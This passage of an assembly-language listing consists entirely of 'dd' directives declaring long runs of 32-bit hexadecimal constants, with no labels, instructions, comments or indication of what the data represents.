		dd 9C82CC66h, 59C1EFA6h, 38685EE0h, 20606D27h, 0EB2831ACh
		dd 561C0348h, 7BA940E1h, 33B685E8h, 17FCC312h, 8EF7E803h
		dd 31F9010Bh, 0F91279C2h, 5C3EC54h, 9E04B57Fh, 5E37FDD2h
		dd 1F920CC0h, 24154A7Fh, 0E89C30D8h, 4718BF6Ah,	21B91D5Eh
		dd 1CB12Dh, 368AD075h, 78C05943h, 76EF1160h, 0BDA0135Ch
		dd 8928CC94h, 9F00BCAEh, 0A7366EA8h, 3BD96A72h,	770174A2h
		dd 8E221FF5h, 14F4296Bh, 0F381C2Ah, 0E27870A9h,	0A4B2155Fh
		dd 0F87027B4h, 0D1C93B0Ah, 0C4DC90ABh, 0B8D9002Ch, 36C6D585h
		dd 6B05EB77h, 0FCD2A632h, 4264B0C0h, 22754AB5h,	30EC2260h
		dd 3E58D092h, 96F0C87Ch, 3145D14h, 0D9F5B43Bh, 0F44683C2h
		dd 1F607605h, 70B3E7F1h, 1075A90Dh, 0D58C1840h,	9AC5A801h
		dd 1B894F74h, 763E3FCh,	8B9036B0h, 0F140D872h, 4BBB6EC5h
		dd 0EF484854h, 1B71E680h, 91E11Ch, 0DE9C6208h, 0E7943C37h
		dd 52600904h, 0F4B0F25Fh, 4480499Dh, 0D8F90500h, 736ACC4Ah
		dd 11884C5Dh, 0F80084B6h
		dd 0A4170869h, 0F894168Ch, 0BE410A5h, 966E00FBh, 959031DFh
		dd 5724D070h, 0A0022EF4h, 40A150A4h, 4C6DE938h,	168484F0h
		dd 0EC64B586h, 0BC720F54h, 1A33B400h, 1013B9C3h, 88F909F5h
		dd 18498EFEh, 0A212F0BEh, 0B4B3E707h, 4251F6C8h, 0F3003A17h
		dd 0D8B13580h, 64C8B317h, 0CC0F8A61h, 418B42Bh,	49078D55h
		dd 0C17CA630h, 0E8BA2783h, 1CB21EAh, 0A0A71043h, 6D6229D1h
		dd 45353970h, 49A57099h, 88329Dh, 0B435A67Dh, 5AC8CEh
		dd 36237E06h, 329E1AE2h, 6430345Eh, 3AF71433h, 3900CDBFh
		dd 1BE9917h, 9A13797Ch,	7C70A4B1h, 7A37EBE8h, 0AE12014Ch
		dd 0C2011EDEh, 8C69F1E9h, 993BC1F8h, 5DA7428Dh,	8BB4005Ch
		dd 57DA5CEEh, 33BA00C8h, 6A0F3E89h, 0AA1EBD85h,	0AC3A6B1Ch
		dd 18C3E897h, 6C16FAA4h, 52140014h, 5AD4C4B4h, 170220C9h
		dd 696787A2h, 0B094A93Bh, 7FA07DCh, 19C5F3FBh, 1982C620h
		dd 0C24EC702h, 4866F10Fh, 4167934h, 8C2C1CC6h, 35C8887Ch
		dd 470F745h, 89F32483h,	0A0106EC8h, 0A4A88BF3h,	7D2F4480h
		dd 89964B00h, 0C47E8E5Eh, 57260062h, 1AB68B84h,	0F4B9C227h
		dd 40072511h, 0BFD5BE3Fh, 0A0BB5DE0h, 0A803F62Ah, 0B6880120h
		dd 2488B4AFh, 0B170009Eh, 6C761233h, 1702518Bh,	0D5B085B4h
		dd 0EF4C40E3h, 0B83D7EF8h, 530444B4h, 7C926A4Ah, 1D3C6486h
		dd 0DD04AF3Bh, 4868E67Ah, 1F450078h, 2E3AD869h,	0D83C62BFh
		dd 9FB222F0h, 0F020975Bh, 404F4BF5h, 0BC28B017h, 1F2D1003h
		dd 2F01426h, 0E6499BA6h, 5F610C28h, 0C2ABCDAAh,	5B0FCC5Bh
		dd 8062A064h, 1AD1BFEEh, 0A14F8BF5h, 11250078h,	8DA8B1CAh
		dd 0B300CC37h, 2FC2E812h, 0F0083ECh, 3065A139h,	94369A92h
		dd 3D7EC014h, 0B60055EEh, 90A1BB0h, 0A2EF8B3h, 32966C5Fh
		dd 0A0F792A0h, 1A95A8BCh, 0DE98412Ch, 4044D432h, 30D20FC9h
		dd 6480CBF8h, 2AEADFF1h, 634CAA09h, 0EA86488h, 0E5624B41h
		dd 17A76E5h, 80CCA024h,	0C6E16B66h, 88F7E008h, 7500B7DFh
		dd 0EB825E43h, 230FF5h,	0D277FCFAh, 1FD52D26h, 8664B50Eh
		dd 15A7E01Ah, 481716A3h, 305D1591h, 968C6800h, 4F2C078Fh
		dd 0FB96105h, 0E8CC1512h, 7E6526B5h, 0F201444Ch, 0A4268850h
		dd 2F11D8h, 0F8088273h,	8776B1h, 23061EA3h, 517143C5h
		dd 8E57B517h, 0F816CC23h, 847EAFh, 8C403BCEh, 1B2ED226h
		dd 96EF1922h, 33C53C30h, 66DB032Ch, 0A9285168h,	94499049h
		dd 11A409A6h, 1D8D1B1Eh, 0D7B68071h, 44AF007Bh,	83021BDh
		dd 56396DB1h, 42A2816Eh, 3A149C1Bh, 4F228C22h, 243D2E02h
		dd 0A478FF94h, 20B6B080h, 140D4F00h, 5DCD5A0Ch,	8242949Ah
		dd 8DBFB8C0h, 5A1EA5E2h, 0EC53BE22h, 243EF900h,	0D3D2007h
		dd 83551881h, 306939h, 0B21ED5BCh, 796207h, 0BD367AD4h
		dd 0B195B88Eh, 0B0E5A0BEh, 4980B4B5h, 29CCC334h, 0C0BC8574h
		dd 14001291h, 1DC0E883h, 644CE12Fh, 0EE6E8014h,	12615791h
		dd 0A6FF6B0Ch, 6ABF0E68h, 8DA2C0FEh, 181CA0h, 0D59AE27Bh
		dd 3217B775h, 18470420h, 993DA8C1h, 30014503h, 0AE76C8A4h
		dd 74794FE5h, 3277DE0Ah, 109825BCh, 0BF077209h,	0E027B3F7h
		dd 8B405883h, 0CABDD828h, 0D738200Fh, 881E1401h, 44FAEBA5h
		dd 3D87820h, 37B160B5h,	59083086h, 2580A111h, 0BCE23833h
		dd 35077065h, 0A8F6A3DCh, 69E819h, 1851794Ah, 0B97FF87Dh
		dd 7A094276h, 610E9E4Fh, 76F0B6CCh, 9C22F5F0h, 0E430182Ch
		dd 42BCA487h, 7CDE0F03h, 80D56E3Ah, 1305F4DCh, 5FAAB264h
		dd 11C6ABCh, 123177F8h,	9715C3E9h, 14240FD1h, 852D58CCh
		dd 0EC82093Ah, 916084F9h, 94CC9094h, 29680567h,	3649B4F5h
		dd 0D454880h, 502CF831h, 6EBAC4A0h, 0B2013279h,	0A9C25D6Fh
		dd 804C3C6h, 0B4A4D3A8h, 92519A60h, 0E9350283h,	76522DB1h
		dd 90400F40h, 0C88CB22Ah, 1A9BA813h, 0A92C33h, 21B94B49h
		dd 1E683C32h, 0F6228400h, 7C536F33h, 94FC9026h,	0E891E4h
		dd 6C9B73BAh, 0A15E329h, 8CFD397Ch, 959028B3h, 0B39668B0h
		dd 0F306DD10h, 0BC362Bh, 43C7A1C3h, 1097A360h, 0EA731110h
		dd 2DE7EEC6h, 541835C0h, 0FD0046EFh, 52A4BE38h,	5CA0B8h
		dd 75E65117h, 87B288FFh, 3A92512h, 0AC7158A2h, 0A1B26BDCh
		dd 3A4500A0h, 233DC33Dh, 18C21EC9h, 3B474A43h, 347EE183h
		dd 0C7DDCC78h, 0A073254Ch, 29B39456h, 0D8183148h, 0BC76A9D9h
		dd 325BBE78h, 0BD201BCCh, 94781AFh, 9C0C650Bh, 0A4823818h
		dd 0C89D99C9h, 7DA0D838h, 1B20057h, 0DF13E186h,	0FD4DCED4h
		dd 207F25CCh, 8F522834h, 0E0380093h, 0F70423C0h, 4202C6D7h
		dd 0ACF11F53h, 244C45Dh, 0C583A88Eh, 0CC499616h, 830029FEh
		dd 0EFBB89CCh, 8785D101h, 575C603Ah, 0B6397C06h, 0CD5D0056h
		dd 42CBD4D7h, 129E408h,	0E81A1F3h, 6C9783BFh, 7480E5D4h
		dd 88FAE924h, 0B09674A9h, 3F0F5750h, 1D00D2A8h,	0ACDC9BDDh
		dd 0BC05D4F6h, 8C206C2Fh, 9AB1E870h, 297F0063h,	8D091379h
		dd 850E3490h, 7EF56DD8h, 75E3402Ch, 2084198Ch, 697F9993h
		dd 914200DCh, 798F2A15h, 0B2430957h, 0EC446C38h, 0ADD58D03h
		dd 80D14FEAh, 0B4E5B46h, 6579C7B2h, 0E534F819h,	5874F26Eh
		dd 97327544h, 690060C4h, 72599558h, 0D114F8h, 36D94464h
		dd 416C89A1h, 0C59CE10Eh, 0C86077F9h, 7F692826h, 52A30076h
		dd 12324FFEh, 9725A86Bh, 750030F3h, 6937017Fh, 50626810h
		dd 0C4C448F7h, 75AD3807h, 0BCF60E8h, 8E3B84A3h,	0C07C88h
		dd 0D8839ED6h, 0E7802726h, 0DD1E7800h, 0FA97305Fh, 0B69D3045h
		dd 8FE91BE1h, 0D3CDE02h, 74510884h, 64D424CCh, 0A0A54725h
		dd 0FD4D9080h, 44FC18h,	0EFC129F8h, 53807905h, 9FBD1116h
		dd 548C2C65h, 6E3658F6h, 84512005h, 8314920Fh, 0CCA0B184h
		dd 197E6128h, 0F15CA408h, 4791D0h, 4CE8664Bh, 7911F74Fh
		dd 0C77A0507h, 98B0615Eh, 399D8D04h, 54107BD8h,	9300DF33h
		dd 74EEE2E7h, 0EBA95F8h, 1B36D8D7h, 90418C84h, 0F94FA4D4h
		dd 764E1505h, 648933DFh, 0F311EEC1h, 0C898ABC6h, 66B3163Ah
		dd 82C06889h, 59870BF8h, 0A500A081h, 6D71EFB7h,	36041997h
		dd 6574222Eh, 0A540A476h, 99FC201h, 2A680C56h, 0B443C5Ah
		dd 54FB006Dh, 2FBF32D5h, 99C419D0h, 1E203C84h, 0C80096E7h
		dd 6C533ACEh, 0B9C6F5FFh, 98260C8h, 88981E24h, 0FF278F00h
		dd 0ECF131DBh, 544E02ADh, 797465FCh, 0A944B0D2h, 66DA0747h
		dd 0B464411Ch, 0B3C18073h, 6339BFFFh, 59F9027Bh, 7A96C711h
		dd 0B692114h, 9C911E80h, 59C3CE5Bh, 3061D4A0h, 3F834277h
		dd 45F8251Ah, 236280CCh, 16F4EF7Fh, 4E11C140h, 0EC0884B9h
		dd 0A72EC070h, 4A30E509h, 0C898D844h, 381B6C0Fh, 303F4018h
		dd 19E36323h, 510849F0h, 0A0F82CB5h, 9CDBFD79h,	941D5028h
		dd 0F42C571Fh, 679768C4h, 7C59C8FCh, 0FC9BA9C4h, 91EA0F8h
		dd 872B0BD5h, 384C578Bh, 53CE4Ch, 6A27ABBFh, 0E2F2DE7h
		dd 7BB48443h, 32EDD2C3h, 93F8DCBCh, 14287D00h, 922E8E3Fh
		dd 379D0E63h, 0FA40FBCAh, 0F74E1831h, 3020BB5Ah, 13D803h
		dd 857414D2h, 2912E99Ah, 0AB067AECh, 33C4A33Bh,	0F3688199h
		dd 100340FEh, 2D09F889h, 2C84CBB9h, 3AECA83Ah, 22EC4C7h
		dd 0BD97EFA4h, 0FCA015EAh, 98CF0FD9h, 28B4AAF0h, 881F6280h
		dd 79B72Fh, 0EE69A21Bh,	87CA5B59h, 3F9EF901h, 7B8216FFh
		dd 93377CCh, 7EA30ED8h
		dd 0A9733B00h, 1B5D7A44h, 68B38098h, 0FAE76009h, 7584002Dh
		dd 41714E0Ch, 2E016473h, 65E2881Eh, 1DFC6FFFh, 9E50008h
		dd 9F702AB0h, 1B1E7728h, 6900BD3Bh, 8D8091B1h, 92E0A835h
		dd 6DC500BFh, 0C832D75Ah, 8CFE78AFh, 2048FF30h,	0BA319C3Bh
		dd 70A92468h, 0F1A240ECh, 2B75C7FBh, 0C90AE000h, 211A6ECBh
		dd 36028137h, 70E00BCh,	39B64E54h, 1E716Ch, 8B74D821h
		dd 45DA669Fh, 0C101B0FEh, 7DADD371h, 5420501Bh,	1EB2C084h
		dd 0DBD5EDCCh, 0FDB895A3h, 0D1286A7Eh, 8400A4FCh, 78C1F3F4h
		dd 24FA3CFEh, 13C0694Eh, 64DC209Fh, 5F01CCC3h, 1F06AFAAh
		dd 5EF20CD3h, 0A7D1C00Ch, 4800ABDDh, 974080Bh, 15BF0D6h
		dd 0B460EF07h, 0F4049BF3h, 804C900Dh, 6278C0E8h, 0CF2EEBh
		dd 826F5D46h, 1569F8FAh, 940F896h, 1E840AF1h, 407B7E96h
		dd 0A13C298Ah, 27189003h, 0CAB0E7AFh, 0A0668AABh, 61224Ch
		dd 57B8E43Ah, 50B53D50h, 0FA9FF4E5h, 9E11752h, 0A09D0314h
		dd 8CB09B1Ch, 9712189Dh, 0F0161673h, 0C8F32081h, 0D0A0406Ch
		dd 0D1008EE4h, 3BE35A35h, 0DEBCCh, 0A3CA44A4h, 7F0349F1h
		dd 1881F54Eh, 20A4571Eh, 480E1924h, 0E18110A8h,	0B58E07E3h
		dd 40917F0Bh, 5596ECFDh, 92AD9339h, 78B2E499h, 0C87E7900h
		dd 0F3C9B63Fh, 541C8FE8h, 0D85E3B58h, 9FAD9E04h, 446D20B4h
		dd 0CE5C1146h, 4273C868h, 3C44B48Bh, 5890874Ah,	0F38677h
		dd 0BE419252h, 0DE3144ECh, 5F7A8201h, 3F7E335Ah, 0B12660h
		dd 19434CC6h, 0EFCECDC2h, 2D8F4800h, 8A617809h,	0D6660681h
		dd 967D92BFh, 0B5FE0A00h, 4CFB1993h, 776C002Ah,	6D5D32CDh
		dd 50E46525h, 0D9621C12h, 107200BFh, 18724CE2h,	0CB4330C0h
		dd 0E96D5Fh, 82C2D6FFh,	7D6F8ADFh, 0AF7BBEF2h, 5BE4E303h
		dd 0E0B283h, 9CD69099h,	0DDBA7779h, 80EE7EFAh, 6D601874h
		dd 712CFB20h, 0F61C014h, 0F9C9BEE4h, 0C10A7500h, 4A9A3728h
		dd 6A5D0159h, 36CA3A9h,	0D7B5F8CAh, 1861E70Fh, 0C09B6E7Bh
		dd 928EA90Dh, 47C0032Dh, 494234EFh, 314E581Dh, 2A915019h
		dd 606518F0h, 41A48166h, 0F2004DE8h, 0C8FE061Dh, 6A61A2h
		dd 65FDC2A5h, 193B3046h, 0C42AE60Fh, 0DDFF00B4h, 0E15CE18h
		dd 4BA86D5Ch, 55078E5h,	0C09CAC68h, 1B3CEDEFh, 0B894AE2Ah
		dd 66391203h, 1C130940h, 0C02948BAh, 0C611AD30h, 3A7BD4DFh
		dd 98FFC901h, 40232E89h, 598054C1h, 0F8B36759h,	94048FD2h
		dd 13718B8Ah, 17804300h, 263CCA4Eh, 0B38100E3h,	98932DC5h
		dd 0C6C4A8CFh, 0C61CE6B7h, 394A7230h, 0B2367000h, 529D7ACh
		dd 247E0013h, 476A55E7h, 4301406Ch, 1612E2BEh, 48814FB2h
		dd 98944B3Bh, 1B5986F5h, 0E195B5h, 36227E7Ch, 192EA32h
		dd 1B46EE1Ch, 55887941h, 31FCC587h, 9B8B002Ch, 40284C3Ch
		dd 8383BCFBh, 87E90053h, 5CA08CD3h, 0BA600DACh,	9A18836Eh
		dd 5279E6D7h, 0C201B455h, 84381FDFh, 412DF4E2h,	0FF4C9C7Fh
		dd 0A4FE0157h, 37FB2A17h, 0F1A676D1h, 3FB930E3h, 7C00CA6Eh
		dd 969B3DE6h, 0D45D18h,	0E7A0407Bh, 5E9E5F59h, 48628E00h
		dd 0D0C61B92h, 44A0A458h, 3C00C11Fh, 30E96AB0h,	0E8D98Fh
		dd 775C67FEh, 4BC4CB99h, 4E80F764h, 9062E140h, 39E81FE6h
		dd 1437C9C3h, 18210C41h, 0B5194D7Dh, 0F6EACE0Fh, 0BC085FC7h
		dd 872C8751h, 0B90905Fh, 0C4A4F84Bh, 0ECBC381Fh, 0E8A0AE06h
		dd 0DC714838h, 31D2F80h, 0D000A49Fh, 0AC669687h, 703AC4B9h
		dd 808C0CF1h, 0A4614BCBh, 40727134h, 80F99808h,	4232EF7Ch
		dd 0AA49E422h, 5CD10288h, 484CAE74h, 0F2EBBB00h, 0E10C094Fh
		dd 0EC198C18h, 1F83609Bh, 35D0B300h, 74D3A4F1h,	0BFD900F0h
		dd 0A94BC1EFh, 39035E09h, 0A4940165h, 607970C8h, 5D839938h
		dd 0F00CCDBh, 85720263h, 3AD1BFCAh, 6370FF2Dh, 54C2294Ah
		dd 0B3AA97h, 1AFC84C8h,	0D530C63Ch, 0CFC3A998h,	0CB3719F8h
		dd 0D53AA11Bh, 5DC202Dh, 7029CD3Ch, 3E51BD61h, 0F30F521h
		dd 8CD400C1h, 39B17866h, 640CED56h, 592FB8AEh, 1837E43h
		dd 969FC7B3h, 8040724Fh, 0E03F7619h, 43464B73h,	0DF50028h
		dd 4485FD06h, 0A5E0246Ah, 40240098h, 130ED393h,	0D2C998C0h
		dd 3CCD8A17h, 297EEF48h, 1190F39Ch, 9E5400BBh, 0C8AC3250h
		dd 62E80010h, 0F55876B2h, 0ECFA9B40h, 5C82B326h, 0A41E4912h
		dd 0C3371862h, 62DD911Ch, 65A7CB18h, 61B297C0h,	328269F4h
		dd 4690E3C3h, 0C618D27Ah, 7BF94ACBh, 8CF748DBh,	0F52440h
		dd 0DA6252B9h, 2E3441E4h, 0A7D8A801h, 60B5933Bh, 0B3D23980h
		dd 0BADF0DBEh, 0A4D9211Eh, 0E71860E4h, 58F94149h, 0BF000483h
		dd 515B623Ch, 6707C8D9h, 90E26E2Ah, 42B50221h, 0E0A15194h
		dd 13C63213h, 492C0800h, 0E9599380h, 1CBFF57Bh,	0C1902961h
		dd 2401AA0Dh, 7E1AF468h, 0E1098091h, 6CDC8A0Bh,	0DC131E60h
		dd 0D3CE26C0h, 3A2801D4h, 510ADB6Ah, 9C127294h,	0C9C0EF69h
		dd 8B687F52h, 0DAB314A4h, 9481A8B2h, 1661395h, 0A048B8C6h
		dd 0D19C0F2Fh, 14F11237h, 2C487718h, 96036C2Ch,	109E37h
		dd 0D75A3921h, 0CDE5A35Dh, 0C6FF2C04h, 7481F9A9h, 608854B6h
		dd 0A3807DD3h, 1436318Ch, 0E93A881Bh, 994A0F03h, 4803D1C6h
		dd 0C424B519h, 40BC442Ch, 58CB8A6Eh, 0D8140044h, 0F6D112CFh
		dd 5F030D71h, 224BB0F0h, 826882DDh, 0A1D3FF58h,	1A3C4C20h
		dd 1F832760h, 0CF8162h,	4E8CDB3Bh, 2D13B308h, 6710041Fh
		dd 4675C0A4h, 7D8260B6h, 0E831090Ch, 1C10B422h,	0D008758h
		dd 570BBE7Bh, 0B2CC3F2h, 4506CA6Ah, 96945401h, 0E4C9A0CCh
		dd 481CE620h, 6200CF1Dh, 0BB29CFD1h, 1F07CBE0h,	45E80961h
		dd 0B4400B40h, 0B9DB4CB5h, 90FF9E02h, 54C05634h, 3E4A4EFh
		dd 0AE2C615h, 47721898h, 2ECB5B1h, 637BBE2Ch, 70E12264h
		dd 17A11057h, 0AF77401h, 0C791E671h, 3D3E87E0h,	5408C98Ch
		dd 0F36D007Ch, 574D1105h, 188C0A50h, 0A493460Dh, 0D805D1FEh
		dd 2C4E1C20h, 4430B086h, 7498E250h, 0AC921088h,	6340A12h
		dd 62885Fh, 17635382h, 0E5A6123Ch, 0C84D800h, 5E315CB2h
		dd 19B50546h, 804022E4h, 0FBB16FACh, 61F7A301h,	8D5A7678h
		dd 58D0D420h, 930614E9h, 0A14B3F9Fh, 3749CA22h,	0CB719C94h
		dd 10E2E025h, 5680E4C8h, 780A0853h, 0B1DF7003h,	103E97Eh
		dd 0CA7AFB31h, 31B7F0ADh, 106388h, 0A784C380h, 2C70D2F5h
		dd 5A67FDh, 0D5FF2F1Bh,	714C2DE4h, 9C3A8044h, 0C273EAh
		dd 66A9B0Fh, 9DFF903Fh,	58F93834h, 3EE71CCCh, 0C0816EC5h
		dd 1B36972Eh, 55EC702Bh, 1594418Ah, 0DEE83913h,	0B0921A47h
		dd 0D89174E8h, 0B1BDDF03h, 41C900CDh, 0D089FED5h, 0CB00A886h
		dd 6C8D457h, 16233C4Fh,	19FDFD2h, 6626983Ch, 0CCB84489h
		dd 3D00A8DCh, 0BD33AA85h, 3D6AB97h, 179878F0h, 26E05866h
		dd 4728C8BBh, 7E44AC7Ch, 0BAA50089h, 0D3D67522h, 340088F0h
		dd 0D7901620h, 13A7932Fh, 55CB6A3Ch, 30D49860h,	72C01C38h
		dd 0A0894B6Eh, 16D65F81h, 7A4209A9h, 0EC803862h, 3C94C535h
		dd 0CEBF0104h, 88A03B15h, 45409839h, 68944C60h,	40890500h
		dd 73CC03ADh, 297091A3h, 2091E420h, 2AC2CA2h, 53C5C89Dh
		dd 94E4BF1Fh, 3BA97E13h, 0E260D860h, 64531E72h,	7FD444DCh
		dd 2C8A3Ah, 40233B34h, 3089D41Bh, 1A21E3B2h, 0AE05FD07h
		dd 2EA3F0E2h, 602AC80Ah, 804E4A0Eh, 7CBA24B3h, 917E70A4h
		dd 0F40D0010h, 7F9444DBh
		dd 98E96C16h, 0D6743000h, 12FE0B1Fh, 90B4A356h,	3B24A840h
		dd 0AE361600h, 8B578292h, 8A1F00A7h, 8E0BD69h, 5858D8DDh
		dd 179FC0F0h, 85BA1Ch, 74800746h, 16BCDED9h, 8026E00h
		dd 18D34ADBh, 30011C35h, 0E84200D6h, 0D49576A4h, 2214FE4Ch
		dd 0BCDD1C1Ch, 8F16C9CAh, 279A0005h, 71180FC0h,	0E700BD8Eh
		dd 58F2D80Fh, 6072FCF6h, 0C8A84145h, 0B500E001h, 0DF743427h
		dd 2929440h, 21CA1AC9h,	9F614508h, 4638Bh, 0DAE6460Bh
		dd 997EECh, 0A79F086Bh,	4E965072h, 407B3D2Ch, 1B14C811h
		dd 4D80E8B5h, 7801D068h, 0F8305A2Eh, 42E80918h,	44309299h
		dd 27008949h, 2D0E6766h, 0F8D30204h, 5FE8031Ah,	33B811C8h
		dd 0AB43A5C0h, 0C684B096h, 0ECA7E8CCh, 8600803Fh, 0A287A759h
		dd 65006437h, 0C63B8D79h, 9839D2C7h, 0D5C90E38h, 18A8CDE9h
		dd 5D5B5280h, 8CFC42h, 0E7710E6Ch, 0FA175906h, 3CA1FE03h
		dd 0B0D2E619h, 0BDA4650h, 9E36083Bh, 3083CC11h,	73BC1BCh
		dd 317B1F18h, 6247CC0Fh, 51422AEFh, 0B05C00C8h,	0C274E171h
		dd 6820D0D2h, 0B14FCDC6h, 318600FCh, 95A2BA2Dh,	92443E8h
		dd 4B1104EFh, 51EAB218h, 0D10070E5h, 0C56873F9h, 74A4DE3Ah
		dd 7EC4A182h, 0BF6F2010h, 2A1EF900h, 0B7260430h, 3C7E48Ah
		dd 9484F3CEh, 5150E28Dh, 3A0A45BCh, 5C5DA5A2h, 6A02CE84h
		dd 0A38BC1EFh, 59A870E3h, 0A87B9980h, 765684ACh, 1511225Bh
		dd 0C4A39C24h, 0EBC2B42Eh, 0B27B02C5h, 380090C4h, 0F3EE74B8h
		dd 248ECF5Ch, 25705564h, 0B4939421h, 42F451D4h,	41003086h
		dd 12F63A0Eh, 46509AC0h, 51EA0158h, 0ED543F6Dh,	74712129h
		dd 2D161B88h, 840DE3A9h, 0FE0994Dh, 82310498h, 0C539642Ch
		dd 43F900ACh, 0E2B9C6E8h, 4903492h, 580B10F1h, 0C7850038h
		dd 0EA0D3B41h, 0EF0075C4h, 1F52797Eh, 18A9C8AEh, 793767B3h
		dd 78912B7Dh, 90EE5200h, 8779ABh, 5FB122CAh, 377E66FFh
		dd 814D1403h, 92B43Ah, 39FD3BA1h, 4A51D854h, 58886D00h
		dd 0EFC43A28h, 0AA92045Bh, 0A2D0C63Ch, 0E8D2314Ch, 71BE8E93h
		dd 44200327h, 0E19FD929h, 3C0FC813h, 793E8430h,	0F75300CEh
		dd 343268A3h, 0E34DD5A9h, 12E522E8h, 20CD381Bh,	2DB39C7Ch
		dd 16005D49h, 0C1DECFFh, 0CFC6BF02h, 949CA11Fh,	917CD8Eh
		dd 96A7A0C8h, 6A01A379h, 0AD9F0D2Dh, 9BC0FA9Dh,	0EF070417h
		dd 808EA22Ch, 0B7E6C920h, 0F6FE6D04h, 58827F18h, 0F0012BF8h
		dd 69BC1ADBh, 0A7C81E0Ch, 52086515h, 0C6AB8440h, 0B00F4B6h
		dd 8A17757Ah, 40C4E75Dh, 37424DA1h, 6720169Eh, 91A9FE6Ah
		dd 0E2921D50h, 0D2CD1B03h, 59E6A62h, 7BBD6C20h,	4CCC0870h
		dd 5C8884A0h, 0EC991537h, 48B4098Bh, 1F4F238h, 3BCE7C78h
		dd 0F81C8077h, 7B063EC5h, 49790345h, 42172299h,	78A11828h
		dd 0D9667FEAh, 0B0613F78h, 3B63274h, 0D087E198h, 31C006E3h
		dd 8FAC8B00h, 976BB2A7h, 0BEC93BB3h, 0FC64D18Fh, 61FFCE80h
		dd 0F0960195h, 0A432B640h, 3C530070h, 202EF060h, 6179E9BBh
		dd 6D13AF02h, 7181B62Dh, 76A5002Ch, 261F3CD0h, 0AF31F807h
		dd 84CBA683h, 80C51666h, 0D8C25802h, 12AC6C20h,	6E5A3Ah
		dd 0A52D83ECh, 0F0BAE3Bh, 8EBFD7C7h, 38CAB340h,	50404500h
		dd 0F62B05B1h, 5197FF00h, 0CE63E8C8h, 0B38CA11Fh, 4593C848h
		dd 0F4880CF0h, 0FDAACD00h, 39F6491Fh, 0E57B0069h, 5747868Bh
		dd 0EB14CAB8h, 26A4CD4Dh, 4A11DC49h, 1E997B00h,	0F79A939Ch
		dd 540159D2h, 67653A77h, 409BC452h, 0F2BF0A68h,	0D054B812h
		dd 1F7118C8h, 43BE7DEh,	0A2E978CDh, 210701A0h, 76DB4BCAh
		dd 951F5C0h, 0D5C67E9Dh, 50416492h, 609B10C8h, 0F3EF001Dh
		dd 41C0AB95h, 0D80656B8h, 0CABA018Eh, 3CA90278h, 1BED6E03h
		dd 12147449h, 0BD78C039h, 0E17D0E3Bh, 16013A27h, 63F6E841h
		dd 0E589012Ch, 868EFDEDh, 2E43D8h, 12DB6F61h, 7FB5EF60h
		dd 0B2DA29C2h, 76C66022h, 2C0D0052h, 43B57E1Ch,	0C70BF6E6h
		dd 900385A2h, 0A70560h,	5C458AA3h, 0AD843150h, 2D968E00h
		dd 27908C7Ah, 3CB42EA7h, 35A3807Ch, 7DD76040h, 0B6000DB8h
		dd 255CE2C2h, 68EAC2Bh,	3CA456B5h, 1A393818h, 0F84C8AEh
		dd 0A593C734h, 64B64CCBh, 0CE00293Eh, 0CDA13254h, 0CC01D2F9h
		dd 0D8A4A08Bh, 804CFB0Dh, 91790055h, 7F33A5F7h,	6703FC3Dh
		dd 0B22E7C61h, 7DA12421h, 1D8C163Eh, 870B8166h,	0CEFBA07Eh
		dd 0C62680D0h, 0A467DCB7h, 9993427Eh, 110DBE3h,	3A8707C6h
		dd 0AAD8830Eh, 0BD712D26h, 0BF16D840h, 7DB04A70h, 0D8F702D2h
		dd 0D96C07A1h, 0E4A39860h, 441949h, 74BA2B08h, 13FC91CFh
		dd 484663ABh, 0C6423978h, 0E7092941h, 0D8F8410h, 0F870E345h
		dd 9622844Fh, 0CC1B48FDh, 58F89A26h, 0F800F567h, 77BB391h
		dd 19CF292h, 8C4F292Dh,	31F6449Bh, 8B8C6804h, 0E97CC8AEh
		dd 0F2E23EA4h, 0C257DB81h, 0D8042262h, 0CD000F0Eh, 0E43CA2E7h
		dd 0BA13FED3h, 670202F0h, 18D6E036h, 81494CC1h,	0C1F76D20h
		dd 7DED4BA6h, 5453146Dh, 6C41D303h, 0C0F7F123h,	3184B816h
		dd 13A4D204h, 48F5D4C6h, 0BDC10828h, 0D83D4FA8h, 0D005737h
		dd 0D87F8062h, 72C65E1h, 142F97F4h, 0AA987013h,	0DC98BA0Eh
		dd 0B0636845h, 95ABB800h, 0EF9021A1h, 0D1C60916h, 8071AB1Ah
		dd 9BDB9E5Ch, 0D0F02BEh, 93226A3Ch, 5A5FD448h, 9480AE16h
		dd 2C3AF830h, 3F8A1D11h, 38513D36h, 0CE001829h,	39228494h
		dd 480F5D75h, 972179DFh, 0C847484h, 1F68A888h, 0F67547h
		dd 80099733h, 6A0E0AE2h, 42FAA28h, 0CC54418h, 243910A2h
		dd 0EF4E017Fh, 2B48DA3Ch, 0E14020C0h, 0CC7590F0h, 4870634Ch
		dd 11C848D3h, 961124D1h, 322859F4h, 4B22906h, 9942406Dh
		dd 9893B39Ah, 4694BC6Eh, 0A34C8192h, 0BBE500A0h, 0A92BD526h
		dd 0C29A329Bh, 30466330h, 5907BCA4h, 0DD9E64BBh, 94CB9570h
		dd 46AA0590h, 482DEC2h,	9E232D8h, 0BDC40239h, 0C92C40DDh
		dd 0AB9E31DEh, 9E4A0F58h, 0B122CD89h, 0C7E28030h, 1DF7D14Ah
		dd 0EBF00B76h, 90FF372Ch, 0B9C6E640h, 131CA194h, 8087C113h
		dd 0D2786CBFh, 1E28318h, 0BCCC679h, 4B2B9594h, 8F0028CCh
		dd 6561686Dh, 13CDF73Dh, 4FD5AFh, 0C61B2C23h, 9D01603Eh
		dd 3972AC7Bh, 86C5A30Dh, 418092C1h, 0E2CE36D4h,	6B00F790h
		dd 5A53F873h, 5B567A3h,	9699EB9Dh, 69CC4882h, 54677112h
		dd 44E6FF32h, 2C8CB0BCh, 97683A25h, 517C1EE1h, 0D1A8400Dh
		dd 0DAF94763h, 0A159208Ah, 7B90F254h, 968F9491h, 826F80AFh
		dd 5029C23Eh, 4077D0F4h, 794C18F8h, 4BB58638h, 0B1DE0059h
		dd 80E96482h, 144B363Bh, 7CCA428h, 2E71896Bh, 0C095406Fh
		dd 99148EF0h, 10B459D1h, 0B45C4DC2h, 34207BCCh,	0F2270090h
		dd 0B2C4304Dh, 8882008Ch, 0F698B742h, 6C001EE2h, 394E4F96h
		dd 4D2CD93h, 0AAC99060h, 0B190923Ch, 3D00E0C4h,	4F9BF9A8h
		dd 9D377h, 730ADF2Ah, 0C5BA2CFFh, 1CB82474h, 6ADFD44h
		dd 0BE8A71Ah, 7B095026h, 81E27AB0h, 39A5010h, 7CDB9443h
		dd 0D31B00F9h, 8BB61873h, 6A0B61A9h, 109B9467h,	66CEC63Ch
